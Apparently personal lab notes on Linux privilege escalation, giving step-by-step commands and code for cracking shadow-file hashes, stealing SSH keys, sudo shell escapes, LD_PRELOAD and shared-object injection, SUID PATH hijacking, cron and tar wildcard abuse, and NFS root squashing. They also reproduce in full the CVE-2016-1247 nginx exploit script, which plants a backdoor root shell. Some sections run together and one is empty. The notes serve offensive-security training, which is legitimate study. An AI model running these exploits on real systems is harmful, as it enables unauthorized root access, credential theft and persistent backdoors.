Linux priv escalation
// look for passwds in bash history
// Privilege Escalation - Stored Passwords (History)
cat ~/.bash_history | grep -i passw//Privilege Escalation - Weak File Permissions
ls -la /etc/shadow
2. Note the file permissions
1. In command prompt type: cat /etc/passwd
2. Save the output to a file on your attacker machine
3. In command prompt type: cat /etc/shadow
4. Save the output to a file on your attacker machine
unshadow <PASSWORD-FILE> <SHADOW-FILE> > unshadowed.txt
hashcat -m 1800 unshadowed.txt rockyou.txt -O
// Privilege Escalation - SSH Keys
1. In command prompt type:
find / -name authorized_keys 2> /dev/null
2. In a command prompt type:
find / -name id_rsa 2> /dev/null
3. Note the results.
Copy the contents of the discovered id_rsa file to a file on your attacker VM.
attacker
1. In command prompt type: chmod 400 id_rsa
2. In command prompt type: ssh -i id_rsa root@<ip
// sudo - shell escaping
Linux VM
1. In command prompt type: sudo -l
2. From the output, notice the list of programs that can run via sudo.
Exploitation
Linux VM
1. In command prompt type any of the following:
a. sudo find /bin -name nano -exec /bin/sh \;
b. sudo awk 'BEGIN {system("/bin/sh")}'
c. echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse
d. sudo vim -c '!sh'// Privilege Escalation - Sudo (Abusing Intended Functionality)
Linux VM
1. In command prompt type: sudo -l
2. From the output, notice the list of programs that can run via sudo.
Exploitation
Linux VM
1. In command prompt type:
sudo apache2 -f /etc/shadow
2. From the output, copy the root hash.
Attacker VM
1. Open command prompt and type:
echo '[Pasted Root Hash]' > hash.txt
2. In command prompt type:
john --wordlist=/usr/share/wordlists/nmap.lst hash.txt
3. From the output, notice the cracked credentials.
// Privilege Escalation - Sudo (LD_PRELOAD)
Detection
Linux VM
1. In command prompt type: sudo -l
2. From the output, notice that the LD_PRELOAD environment variable is intact.
Exploitation
1. Open a text editor and type:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
2. Save the file as x.c
3. In command prompt type:
gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
4. In command prompt type:
sudo LD_PRELOAD=/tmp/x.so apache2
5. In command prompt type: id
// Privilege Escalation - SUID (Shared Object Injection)
Detection
Linux VM
1. In command prompt type: find / -type f -perm -04000 -ls 2>/dev/null
2. From the output, make note of all the SUID binaries.
3. In command line type:
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
4. From the output, notice that a .so file is missing from a writable directory.
Exploitation
Linux VM
5. In command prompt type: mkdir /home/user/.config
6. In command prompt type: cd /home/user/.config
7. Open a text editor and type:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
8. Save the file as libcalc.c
9. In command prompt type:
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
10. In command prompt type: /usr/local/bin/suid-so
11. In command prompt type: id
// Privilege Escalation - SUID (Symlinks)
Detection
Linux VM
1. In command prompt type: dpkg -l | grep nginx
2. From the output, notice that the installed nginx version is below 1.6.2-5+deb8u3.
Exploitation
Linux VM – Terminal 1
1. For this exploit, it is required that the user be www-data. To simulate this escalate to root by typing: su root
2. The root password is password123
3. Once escalated to root, in command prompt type: su -l www-data
4. In command prompt type: /home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log
5. At this stage, the system waits for logrotate to execute. In order to speed up the process, this will be simulated by connecting to the Linux VM via a different terminal.
Linux VM – Terminal 2
1. Once logged in, type: su root
2. The root password is password123
3. As root, type the following: invoke-rc.d nginx rotate >/dev/null 2>&1
4. Switch back to the previous terminal.
Linux VM – Terminal 1
1. From the output, notice that the exploit continued its execution.
2. In command prompt type: id
// nginx
cat /home/user/tools/nginx/nginxed-root.sh
#!/bin/bash
#
# Nginx (Debian-based distros + Gentoo) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# as well as Gentoo etc.) to escalate their privileges from nginx web server user
# (www-data) to root through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation
# has been configured.
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}
function ctrl_c() {
echo -e "\n[+] Ctrl+C pressed"
cleanexit 0
}
#intro
cat <<_eascii_
_______________________________
< Is your server (N)jinxed ? ;o >
-------------------------------
\
\ __---__
_- /--______
__--( / \ )XXXXXXXXXXX\v.
.-XXX( O O )XXXXXXXXXXXXXXX-
/XXX( U ) XXXXXXX\
/XXXXX( )--_ XXXXXXXXXXX\
/XXXXX/ ( O ) XXXXXX \XXXXX\
XXXXX/ / XXXXXX \__ \XXXXX
XXXXXX__/ XXXXXX \__---->
---___ XXX__/ XXXXXX \__ /
\- --__/ ___/\ XXXXXX / ___--/=
\-\ ___/ XXXXXX '--- XXXXXX
\-\/XXX\ XXXXXX /XXXXX
\XXXXXXXXX \ /XXXXX/
\XXXXXX > _/XXXXX/
\XXXXX--__/ __-- XXXX/
-XXXXXXXX--------------- XXXXXX-
\XXXXXXXXXXXXXXXXXXXXXXXXXX/
""VXXXXXXXXXXXXXXXXXXV""
_eascii_
echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi
# Priv check
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
exit 3
fi
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi
# [ Exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi
# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"
# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do
sleep 1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done
# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi
rm -f $ERRORLOG
echo > $ERRORLOG
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"
# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -i
# Job done.
// Privilege Escalation - SUID (Environment Variables #1)
Detection
Linux VM
1. In command prompt type: find / -type f -perm -04000 -ls 2>/dev/null
2. From the output, make note of all the SUID binaries.
3. In command prompt type: strings /usr/local/bin/suid-env
4. From the output, notice the functions used by the binary.
Exploitation
Linux VM
1. In command prompt type:
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
2. In command prompt type: gcc /tmp/service.c -o /tmp/service
3. In command prompt type: export PATH=/tmp:$PATH
4. In command prompt type: /usr/local/bin/suid-env
5. In command prompt type: id
// Privilege Escalation - SUID (Environment Variables #2)
Detection
Linux VM
1. In command prompt type: find / -type f -perm -04000 -ls 2>/dev/null
2. From the output, make note of all the SUID binaries.
3. In command prompt type: strings /usr/local/bin/suid-env2
4. From the output, notice the functions used by the binary.
Exploitation Method #1
Linux VM
1. In command prompt type:
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
2. In command prompt type:
export -f /usr/sbin/service
3. In command prompt type: /usr/local/bin/suid-env2
Exploitation Method #2
Linux VM
1. In command prompt type:
// Privilege Escalation - Capabilities
Detection
Linux VM
1. In command prompt type: getcap -r / 2>/dev/null
2. From the output, notice the value of the “cap_setuid” capability.
Exploitation
Linux VM
1. In command prompt type:
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
2. Enjoy root!
// Cron Path
Detection
Linux VM
1. In command prompt type: cat /etc/crontab
2. From the output, notice the value of the “PATH” variable.
Exploitation
Linux VM
1. In command prompt type:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
2. In command prompt type: chmod +x /home/user/overwrite.sh
3. Wait 1 minute for the Bash script to execute.
4. In command prompt type: /tmp/bash -p
5. In command prompt type: id
// Cron (wildcards)
Linux VM
1. In command prompt type: cat /etc/crontab
2. From the output, notice the script “/usr/local/bin/compress.sh”
3. In command prompt type: cat /usr/local/bin/compress.sh
4. From the output, notice the wildcard (*) used by ‘tar’.
Exploitation
Linux VM
1. In command prompt type:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh
2. touch /home/user/--checkpoint=1
3. touch /home/user/--checkpoint-action=exec=sh\ runme.sh
4. Wait 1 minute for the Bash script to execute.
5. In command prompt type: /tmp/bash -p
6. In command prompt type: id// Cron (file overwrite)
Detection
Linux VM
1. In command prompt type: cat /etc/crontab
2. From the output, notice the script “overwrite.sh”
3. In command prompt type: ls -l /usr/local/bin/overwrite.sh
4. From the output, notice the file permissions.
Exploitation
Linux VM
1. In command prompt type:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh
2. Wait 1 minute for the Bash script to execute.
3. In command prompt type: /tmp/bash -p
4. In command prompt type: id// NFS root squashing
Detection
Linux VM
1. In command line type: cat /etc/exports
2. From the output, notice that “no_root_squash” option is defined for the “/tmp” export.
Exploitation
Attacker VM
1. Open command prompt and type: showmount -e 10.10.96.166
2. In command prompt type: mkdir /tmp/1
3. In command prompt type: mount -o rw,vers=2 10.10.96.166:/tmp /tmp/1
In command prompt type:
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
4. In command prompt type: gcc /tmp/1/x.c -o /tmp/1/x
5. In command prompt type: chmod +s /tmp/1/x
Linux VM
1. In command prompt type: /tmp/x
2. In command prompt type: id
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